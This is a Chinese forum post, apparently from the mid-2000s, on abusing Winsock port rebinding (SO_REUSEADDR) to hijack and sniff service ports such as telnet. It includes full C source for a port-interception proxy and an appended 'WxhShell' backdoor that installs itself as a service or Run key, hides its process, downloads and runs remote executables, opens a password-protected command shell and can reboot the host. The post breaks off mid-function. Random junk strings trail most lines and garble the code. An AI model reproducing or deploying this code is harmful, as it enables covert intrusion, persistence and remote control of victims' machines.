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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KivzgNz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pip if.  
<LY+" Y  
  saddr.sin_family = AF_INET; g;T`~  
pz+#1=b]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?*=Jq  
tTal<4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uDR(^T{g#  
X,~C&#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Xo b##{P3  
PX] v"xf  
  这意味着什么?意味着可以进行如下的攻击: A:(uK>5{Kk  
*v&RGY[>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X +R_TC  
v80 e]M!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) he@swE&  
3V]a "C   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |>)mYLN!y  
gC.T5,tn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qI9 BAs1~}  
lKcnM3n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6*tGf`Pfdw  
*RhdoD|a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .E(Ucnz/  
q=U=Y n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hE${eJQ| U  
fqxMTTg@  
  #include +FI]0r  
  #include $v,_8{ !  
  #include xp = ]J UQ  
  #include    n7vi@^lf(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V! p;ME  
  int main() R4?/7  
  { BZ.H6r'Q  
  WORD wVersionRequested; E@p9vf->  
  DWORD ret; y$rp1||lH  
  WSADATA wsaData; ZC"p^~U_e[  
  BOOL val; c)?y3LX  
  SOCKADDR_IN saddr; 7o3f5"z  
  SOCKADDR_IN scaddr; JXrMtSp\  
  int err; Nsb13mlY  
  SOCKET s; J c*A\-qC.  
  SOCKET sc; LvS`   
  int caddsize; bA:abO  
  HANDLE mt; SX#ATf6#  
  DWORD tid;   p)`JVq,H/B  
  wVersionRequested = MAKEWORD( 2, 2 ); HzV3O-Qz]  
  err = WSAStartup( wVersionRequested, &wsaData ); K7|BXGL8r8  
  if ( err != 0 ) { 6;Bqu5_Cj  
  printf("error!WSAStartup failed!\n"); gU:jx  
  return -1; -4.+&'  
  } _ . _'\  
  saddr.sin_family = AF_INET; U:H*b{`TU  
   1jR<H$aS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6v-h!1p{u  
YvonZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p 4=^ UP  
  saddr.sin_port = htons(23); z@2NAC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nL9m{$Zv  
  { k 2~j:&p  
  printf("error!socket failed!\n"); -O\`G<s%  
  return -1; c(:GsoO  
  } d4/ZOj+%  
  val = TRUE; C.eZcNJG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +]G;_/[2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?(Nls.c  
  { Xh5 z8  
  printf("error!setsockopt failed!\n"); &W1c#]q@r  
  return -1; P6 9S[aqW  
  } 7+fFKZFKF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i9Qx{f88  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W1 E(( 2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AyddkjX  
,Ao8QN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E8/P D  
  { 7C=t19&R'  
  ret=GetLastError(); (sY?"(~j?T  
  printf("error!bind failed!\n"); &@y W< <  
  return -1; g94NU X  
  } Y`%:hvy~  
  listen(s,2); L49`=p<  
  while(1) }JS?42CTaV  
  { xRb-m$B}L  
  caddsize = sizeof(scaddr); E=7~\7TE  
  //接受连接请求 J^U#dYd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *g7dB2{  
  if(sc!=INVALID_SOCKET) > >p3#~/  
  { tcfUhSz,I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uCx\Bt"VI  
  if(mt==NULL) Pt E>08  
  { R ~#\gMs  
  printf("Thread Creat Failed!\n"); f5AK@]4G  
  break; AkGCIn3  
  } 9k1n-po  
  } %A04'dj`zQ  
  CloseHandle(mt); .-{B  
  } ACs?m\$Q  
  closesocket(s); dAR):ZKq?  
  WSACleanup(); [E+#+-n7  
  return 0; 1N2s[ \q$  
  }   : -OHD#>%  
  DWORD WINAPI ClientThread(LPVOID lpParam) bEbnZ<kz*  
  { m3,i{  
  SOCKET ss = (SOCKET)lpParam; YoJN.],gf  
  SOCKET sc; OPar"z^EV  
  unsigned char buf[4096]; qm2  
  SOCKADDR_IN saddr; fDf:Jec`[  
  long num; k/Z}nz   
  DWORD val; !ce:S!P  
  DWORD ret; ygh*oVHO  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +c?1\{M   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   42mdak}\  
  saddr.sin_family = AF_INET; C*=#=.~~{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p "u5wJ_  
  saddr.sin_port = htons(23); Ji gc@@B.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .M!HVq47m  
  { d n3sh<  
  printf("error!socket failed!\n"); R["_Mff  
  return -1; ^8-CUH\  
  } s-[_%  
  val = 100; {x  s{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <rNCb;  
  { 4 QD.'+ L  
  ret = GetLastError(); !>TH#sU$  
  return -1; s+l)Q  
  } d H]'&&M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pPUKx =d  
  { 'Tj9btM*cL  
  ret = GetLastError(); &^9 2z:?  
  return -1; ZBi|B D  
  } q<dZy? f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x xWnB  
  { a2/!~X9F  
  printf("error!socket connect failed!\n"); g^/  
  closesocket(sc); s${ew.eW  
  closesocket(ss); s0WI93+z  
  return -1; %Sf%XNtu  
  } lOYzo  
  while(1) 1*,f  
  { '(4$h3-gv7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jNBvy1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EA8K*>'pv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |p}qK Fdi  
  num = recv(ss,buf,4096,0); /z9oPIJ=*  
  if(num>0) h.(CAm%Y7  
  send(sc,buf,num,0); w-LMV>+6|  
  else if(num==0) 2Ck'A0d  
  break; bd_&=VLTC  
  num = recv(sc,buf,4096,0); 0j@gC0xu)|  
  if(num>0) <KlG#7M>  
  send(ss,buf,num,0); XDRw![H,~  
  else if(num==0) CvS}U%   
  break; Z(k7&^d  
  } )OpB\k  
  closesocket(ss); d ]R&mp|'  
  closesocket(sc); wGr5V!  
  return 0 ;  !*5vXN  
  } 3=SIIMp7=  
)*Xd  
*z&m=G\  
========================================================== /{QR:8}-Q  
l.NV]up +  
下边附上一个代码,,WXhSHELL KF(N=?KO  
FwKT_XkY  
========================================================== {N!Xp:(<7_  
e:#c\Ay+  
#include "stdafx.h" D',[M)  
s~V%eq("}  
#include <stdio.h> 9M8 n  
#include <string.h> 4EQ-48h17  
#include <windows.h> .sCi9d WR  
#include <winsock2.h> V/"P};n  
#include <winsvc.h> ancs  
#include <urlmon.h> ]n _OQ)VO  
OFH!z{*  
#pragma comment (lib, "Ws2_32.lib") ?Zu2=<DU  
#pragma comment (lib, "urlmon.lib") FtHR.S= u  
!(QDhnx}9c  
#define MAX_USER   100 // 最大客户端连接数 #[=%+*Q  
#define BUF_SOCK   200 // sock buffer D; i%J  
#define KEY_BUFF   255 // 输入 buffer T$)N2]FE  
i^ `]TOP  
#define REBOOT     0   // 重启 ^FJ .C|l(  
#define SHUTDOWN   1   // 关机 y(!J8(yA  
/a@gE^TM  
#define DEF_PORT   5000 // 监听端口 jG~zpZh  
Y_S>S( 0  
#define REG_LEN     16   // 注册表键长度 oS.fy31p  
#define SVC_LEN     80   // NT服务名长度 N{rC#A3  
0@cc XF E  
// 从dll定义API 4K{<R!2I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1HPYW7jk@"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <e)5$Aj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <? h`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yCC.j%@  
kIR?r0_<G6  
// wxhshell配置信息 *%6NuZ  
struct WSCFG { c0}* $e  
  int ws_port;         // 监听端口 :s(vn Ie^  
  char ws_passstr[REG_LEN]; // 口令 bUJ5j kZ)  
  int ws_autoins;       // 安装标记, 1=yes 0=no |1M+FBT$w  
  char ws_regname[REG_LEN]; // 注册表键名 dB`3"aSN7  
  char ws_svcname[REG_LEN]; // 服务名 EkWipF(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wg\`!T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &\[3m^L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =XbOY[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k(As^'>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )3 C~kmN7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |^ K"#K  
6<E4?<O%  
}; 2pu8')'P  
g3*" ^C2=  
// default Wxhshell configuration  J^"  
struct WSCFG wscfg={DEF_PORT, 9#C hn~ \  
    "xuhuanlingzhe", ~_|OGp_a  
    1, .@7J8FS*  
    "Wxhshell", ZMFV iE;8  
    "Wxhshell", D H}gvV  
            "WxhShell Service", D`|.%  
    "Wrsky Windows CmdShell Service", f/!^QL{  
    "Please Input Your Password: ", Nw 74T  
  1, YSQB*FBz  
  "http://www.wrsky.com/wxhshell.exe", UM?{ba9  
  "Wxhshell.exe" CY{`IZ  
    }; (+_i^SqK  
!4gyrNS  
// 消息定义模块 {Vg8pt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7-*QF>w<a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IYb%f T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <|,0%bq)|  
char *msg_ws_ext="\n\rExit."; 8 oK;Tzh  
char *msg_ws_end="\n\rQuit."; P8Nzz(JF  
char *msg_ws_boot="\n\rReboot..."; XnBpL6"T`  
char *msg_ws_poff="\n\rShutdown..."; Ry5/O?Q L  
char *msg_ws_down="\n\rSave to "; `F)Q=  
eYJ6&).F  
char *msg_ws_err="\n\rErr!"; Y%1 J[W  
char *msg_ws_ok="\n\rOK!"; 3>jL7sh%|  
A$w0+&*=  
char ExeFile[MAX_PATH]; $8k QM  
int nUser = 0; Mwm=r//  
HANDLE handles[MAX_USER]; _ 9@D o6  
int OsIsNt; bu&x& M*  
oSDx9%  
SERVICE_STATUS       serviceStatus; Uwd^%x*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =v (MdjwFl  
G|WO  
// 函数声明 v\LcZt`}  
int Install(void); m@qM|%(0x  
int Uninstall(void); Qf?5"=:#  
int DownloadFile(char *sURL, SOCKET wsh); KZK9|121  
int Boot(int flag); $M `%A  
void HideProc(void); iGCA>5UE  
int GetOsVer(void); A(!nT=0o  
int Wxhshell(SOCKET wsl); /~k)#44  
void TalkWithClient(void *cs); v&.`^ O3W  
int CmdShell(SOCKET sock); >O7ITy  
int StartFromService(void); IYJS>G%*  
int StartWxhshell(LPSTR lpCmdLine); 8A|{jH74  
0)c9X[sG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C&d%S|:IR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \dIc_6/D1  
!>%U8A  
// 数据结构和表定义 OI=LuWGQE1  
SERVICE_TABLE_ENTRY DispatchTable[] = 7.-g=Rcz  
{ ZjlFr(  
{wscfg.ws_svcname, NTServiceMain}, cy0 %tsB|  
{NULL, NULL} \ow3_^Bk  
}; uyd y[n\  
`vkNp8|  
// 自我安装 aFZu5-=x  
int Install(void) v^Vr^!3  
{ XET'XJWF%  
  char svExeFile[MAX_PATH];  8(.DI/  
  HKEY key; ;=&D_jGf]  
  strcpy(svExeFile,ExeFile); TB=KT j  
T?p' R  
// 如果是win9x系统,修改注册表设为自启动 gnAM}  
if(!OsIsNt) { sn|q EH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qNhV zx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a!`b`r -4  
  RegCloseKey(key); 1KH]l336D"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RC[b+J,q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OHz>B!`  
  RegCloseKey(key); XDtr{r6z  
  return 0; pHW Qk z(  
    } 5 IK -V)  
  } uVO*@Kj+  
} 3$]SP1Mc(  
else { 1x\Vz\  
M 5mCG  
// 如果是NT以上系统,安装为系统服务 .GJl@==~1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R"j6 w[tn  
if (schSCManager!=0) $OE~0Z\0  
{ L&C<-BA/  
  SC_HANDLE schService = CreateService WK{{U$:$  
  ( {l/]+8G^  
  schSCManager, (IAc*V~  
  wscfg.ws_svcname, $O n  
  wscfg.ws_svcdisp, /}_OCuJJ,  
  SERVICE_ALL_ACCESS, -jBk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fS( )F*J  
  SERVICE_AUTO_START, ?, dbrQ  
  SERVICE_ERROR_NORMAL, @;T>*_Yhn  
  svExeFile, 'f+g`t?  
  NULL, Z0f0tL& A<  
  NULL, MNy)= d&<P  
  NULL, >e]46 K  
  NULL, iQrTEp  
  NULL r_sZw@lqJ  
  ); *O`76+iZ|_  
  if (schService!=0) ?;\xeFy!  
  { (-lu#hJ`&r  
  CloseServiceHandle(schService); n+5X*~D  
  CloseServiceHandle(schSCManager); /+FZDRf!r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fz)i9D@  
  strcat(svExeFile,wscfg.ws_svcname); 5H+S=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;$ot,mH?T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1wx&/ #a  
  RegCloseKey(key); a59l"b  
  return 0; =xO  q-M  
    } /eM_:H5  
  } p1dqDgF*  
  CloseServiceHandle(schSCManager); 6bL"ZOEu  
} 9*?H/iN@p?  
} T<p,KqH  
B{ i5UhxD  
return 1; W]8tp@  
} 9!XW):  
=c)O8  
// 自我卸载 won(HK\1p  
int Uninstall(void) Ov vM)?^#  
{ >s@6rNgf  
  HKEY key; Cm4$&?  
X%S9 H^9  
if(!OsIsNt) { N XAP=y3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .3(=U Q  
  RegDeleteValue(key,wscfg.ws_regname); >E;&SX  
  RegCloseKey(key); s+"[S%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *^'$YVd#  
  RegDeleteValue(key,wscfg.ws_regname); _$OhV#LKG  
  RegCloseKey(key); #}^ kMD >  
  return 0; Y(>]7  
  } {.W$<y (j7  
} e`1,jt'  
} %cM2;a=2  
else { X@,xwsM%tb  
SE0"25\_G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '/gw`MJ  
if (schSCManager!=0) #y~`nyg%|  
{ jni }om  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :!vDX2o)\  
  if (schService!=0) X X>Y]P a  
  { E6);\SJG}  
  if(DeleteService(schService)!=0) { >$gWeFu  
  CloseServiceHandle(schService); x\ : x`k@  
  CloseServiceHandle(schSCManager); i8$tId  
  return 0; w!NtN4>  
  } ~jd:3ip+!  
  CloseServiceHandle(schService); Qp{rAAC:  
  } Hv>C#U  
  CloseServiceHandle(schSCManager); ^s@?\v  
} ~lx5RTkp  
} DzLm~ aF  
buGYHZu  
return 1; RH,(8.&>r  
} urT!?*g,  
1=DUFl.  
// 从指定url下载文件 >w:px$g4  
int DownloadFile(char *sURL, SOCKET wsh) ziuhS4k  
{ H'uRgBjWJ  
  HRESULT hr; 2?LZW14$d  
char seps[]= "/"; -\;x>=#B  
char *token; e![|-m%  
char *file; IX eb6j8  
char myURL[MAX_PATH]; thk33ss:  
char myFILE[MAX_PATH]; CtbmX)vE  
saOXbt(&  
strcpy(myURL,sURL); u1y c  
  token=strtok(myURL,seps); @].Ko[P~  
  while(token!=NULL) ]R^?Pa1Te4  
  { Sqw.p#  
    file=token; 4|fI9.  
  token=strtok(NULL,seps); zosJ=$L  
  } *Yk3y-   
w{[OtGIi3  
GetCurrentDirectory(MAX_PATH,myFILE); zJ42%0g  
strcat(myFILE, "\\"); JLT ^0wBB  
strcat(myFILE, file); rj"oz"  
  send(wsh,myFILE,strlen(myFILE),0); _20nOg`o  
send(wsh,"...",3,0); #vJDb |z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (o_wv  
  if(hr==S_OK) wVCZ=\L}  
return 0; Lwgk}!KR  
else gIS<"smOo  
return 1; }q-_|(b;  
 WpX)[au  
} EfY|S3Av  
m#+0uZm(  
// 系统电源模块 >JVZ@ PV H  
int Boot(int flag) \D BtU7"v  
{ g7k|Ho-W  
  HANDLE hToken; (3C6'Wt  
  TOKEN_PRIVILEGES tkp; 3O<:eS~  
C7&4,],  
  if(OsIsNt) { R;6(2bTN6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lz X0B&:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f>nj9a5  
    tkp.PrivilegeCount = 1; _X{i hf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wm|{@z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4os7tx  
if(flag==REBOOT) { Wa~'p+<c~b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pR2QS  
  return 0; ev>gh0  
} 1R)4[oYN\<  
else { j+Nun  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KFHn)+*"  
  return 0; UJ1Ui'a(!!  
} D0,U2d  
  } 2.O;  
  else { i'|rx2]e  
if(flag==REBOOT) { xtL_,ug  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z^9;sb,x  
  return 0; :(,uaX> {  
} ny17(Y =  
else { xd\k;nq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w> `3{MTQ  
  return 0; KumbG>O  
} F+R4nFA  
} Oqeoh<y!\  
g$e b@0$  
return 1; ZRO   
} 7Zp'}Om<I  
[*w^|b ?  
// win9x进程隐藏模块 V%?oI]" l  
void HideProc(void) zDY!0QZLF\  
{ cYyv iR59#  
aS?A3h4WM_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U<fe 'd  
  if ( hKernel != NULL ) s"`uE$6N  
  { MIasCH>r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {ScilT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tG(?PmQ  
    FreeLibrary(hKernel); z c N1i^   
  } MGeHccqh2  
a6"Pe07t  
return; bb[.Kvq5  
} E$m3Gg)s>N  
FQ>KbZh  
// 获取操作系统版本 qczGv2%!  
int GetOsVer(void) "NSm2RU3  
{ QkUq%}_0  
  OSVERSIONINFO winfo; A1x?_S"a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <*0^X%Vf\  
  GetVersionEx(&winfo); ,tv P"@d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fk,[`n+  
  return 1; =7ul,  
  else fb[f >1|  
  return 0; &'9 Jy'(X  
} a)GL z  
XHcT7}]  
// 客户端句柄模块 MrEyN8X  
int Wxhshell(SOCKET wsl)  Ko9"mHNB  
{ K.G}*uy  
  SOCKET wsh; F`-|@k  
  struct sockaddr_in client; w;}pebL:  
  DWORD myID; Q~<$'j  
Y!* \=h6h  
  while(nUser<MAX_USER) B!H4 6w~  
{ 54s+4R FL  
  int nSize=sizeof(client); $J&ww P[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o:jLM7$=  
  if(wsh==INVALID_SOCKET) return 1; \Fj$^I>C  
L,V\g^4$K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Se+sgw_"  
if(handles[nUser]==0) Rok` }t  
  closesocket(wsh); `sOCJ|rc5  
else !q;EC`i#  
  nUser++; %YLdie6c  
  } cx M=#Go  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dQLR%i#P8  
XzGPBi  
  return 0; 2V7x  
} `=^;q 6f  
TWkuR]5  
// 关闭 socket o%X@Bz  
void CloseIt(SOCKET wsh) :a#Mq9ph!  
{ H Yt& MK  
closesocket(wsh); >u#c\s  
nUser--; (5rH 72g(  
ExitThread(0); 4tU3+e5h  
} 2i`N26On  
H5uWI  
// 客户端请求句柄 6O8'T`F[  
void TalkWithClient(void *cs) y)o!F^  
{ DZKVZ_q  
O?|opD  
  SOCKET wsh=(SOCKET)cs; q\*",xZxwz  
  char pwd[SVC_LEN]; !fUrDOM0E  
  char cmd[KEY_BUFF]; @1ZLr  
char chr[1]; ?kvkkycI   
int i,j; #R v&b@K  
lx,^Y 647  
  while (nUser < MAX_USER) { &*iar+vr  
pfsRV]  
if(wscfg.ws_passstr) { '|Dm\cy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VXlTA>a }  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bSsX)wHm  
  //ZeroMemory(pwd,KEY_BUFF); ]@_M)[ x  
      i=0; HV ab14}E  
  while(i<SVC_LEN) { 'p,QI>  
'aMT^w4if)  
  // 设置超时 I@~hz%'  
  fd_set FdRead; s,> 1n0a  
  struct timeval TimeOut; Es<id}`  
  FD_ZERO(&FdRead); 5-l cz)DO  
  FD_SET(wsh,&FdRead); J&4LyIpQ  
  TimeOut.tv_sec=8; +ew2+2  
  TimeOut.tv_usec=0; S*~v9+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G m40u/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l@7X gsey  
SFAh(+t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @bU(z$eB  
  pwd=chr[0]; L9[? qFp  
  if(chr[0]==0xd || chr[0]==0xa) { ] )D\ws)a9  
  pwd=0; $[txZN  
  break; Ld6j;ZJ';  
  } uSp=,2)  
  i++; gK7j~.bb"  
    } C*Avu  
}2 zJ8A9-  
  // 如果是非法用户,关闭 socket #]bWE$sU<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lSU&Yqx  
} ~t\Hb8o  
BoJ@bOe#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3{B`[$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Iu`eQG  
TMZg GUn  
while(1) { |r_S2)zH9m  
1HK5OT&  
  ZeroMemory(cmd,KEY_BUFF); ~_=ohb{  
jz(}P8  
      // 自动支持客户端 telnet标准   NMb`d0;(  
  j=0; A; Rr#q<  
  while(j<KEY_BUFF) { oW3{&vfz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9NvV{WI-1  
  cmd[j]=chr[0]; tAH,3Sz( /  
  if(chr[0]==0xa || chr[0]==0xd) { N6H/J_:  
  cmd[j]=0; NFTEp0eP  
  break; :9!? ${4R  
  } ]p>6r*/nw  
  j++; 6'd=% V  
    } R4=n">>Q  
i_T8Bfd:  
  // 下载文件 "2:]9j  
  if(strstr(cmd,"http://")) { VKRj 1LXz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kK+ <n8R2  
  if(DownloadFile(cmd,wsh)) h7mJXS)t|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.rc~UI?  
  else E ?(+v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =\H.C@r  
  } \2,7fy'  
  else { uTY5.8  
Y%OE1F$6NN  
    switch(cmd[0]) { TGx:#x*k  
  |pk1pV |  
  // 帮助 D(6d#c  
  case '?': { ]l.y/pRP5[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s>Xx:h6m  
    break; {'P7D4w  
  } H: q(T >/w  
  // 安装 dE9xan  
  case 'i': { Z'iXuI49  
    if(Install()) Bgs3sM9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }I_/>58  
    else `ZL~k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m'H%O-h\  
    break; !7XAc,y  
    } Z!o&};_j  
  // 卸载 \9*wo9cV  
  case 'r': { \A'MEd-  
    if(Uninstall()) X,d`-aKO\y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KsI[  
    else ((L=1]w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "1P8[  
    break; #:"F-3A0  
    } 7+';&2M)n~  
  // 显示 wxhshell 所在路径 c0M=T  
  case 'p': { afY~Y?PJ<  
    char svExeFile[MAX_PATH]; 3gZ|^h6 +  
    strcpy(svExeFile,"\n\r"); |4NH}XVYJ>  
      strcat(svExeFile,ExeFile); d7Lna^  
        send(wsh,svExeFile,strlen(svExeFile),0); O}\$E{-  
    break; 8+m;zvDSU  
    } $rFLhp}  
  // 重启 e glcf z%  
  case 'b': { q]+'{Ci@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ru8k2d$B  
    if(Boot(REBOOT))  9')  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :X7"fX  
    else { D> wq4u  
    closesocket(wsh); t~m >\(&  
    ExitThread(0); V"=(I'X  
    } 3>%oGbo  
    break; 4kZX$ct}  
    } Z^w11}  
  // 关机 U6V+jD}L]  
  case 'd': { ``bIqY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9 A0wiKp  
    if(Boot(SHUTDOWN)) I_66q7U"0  
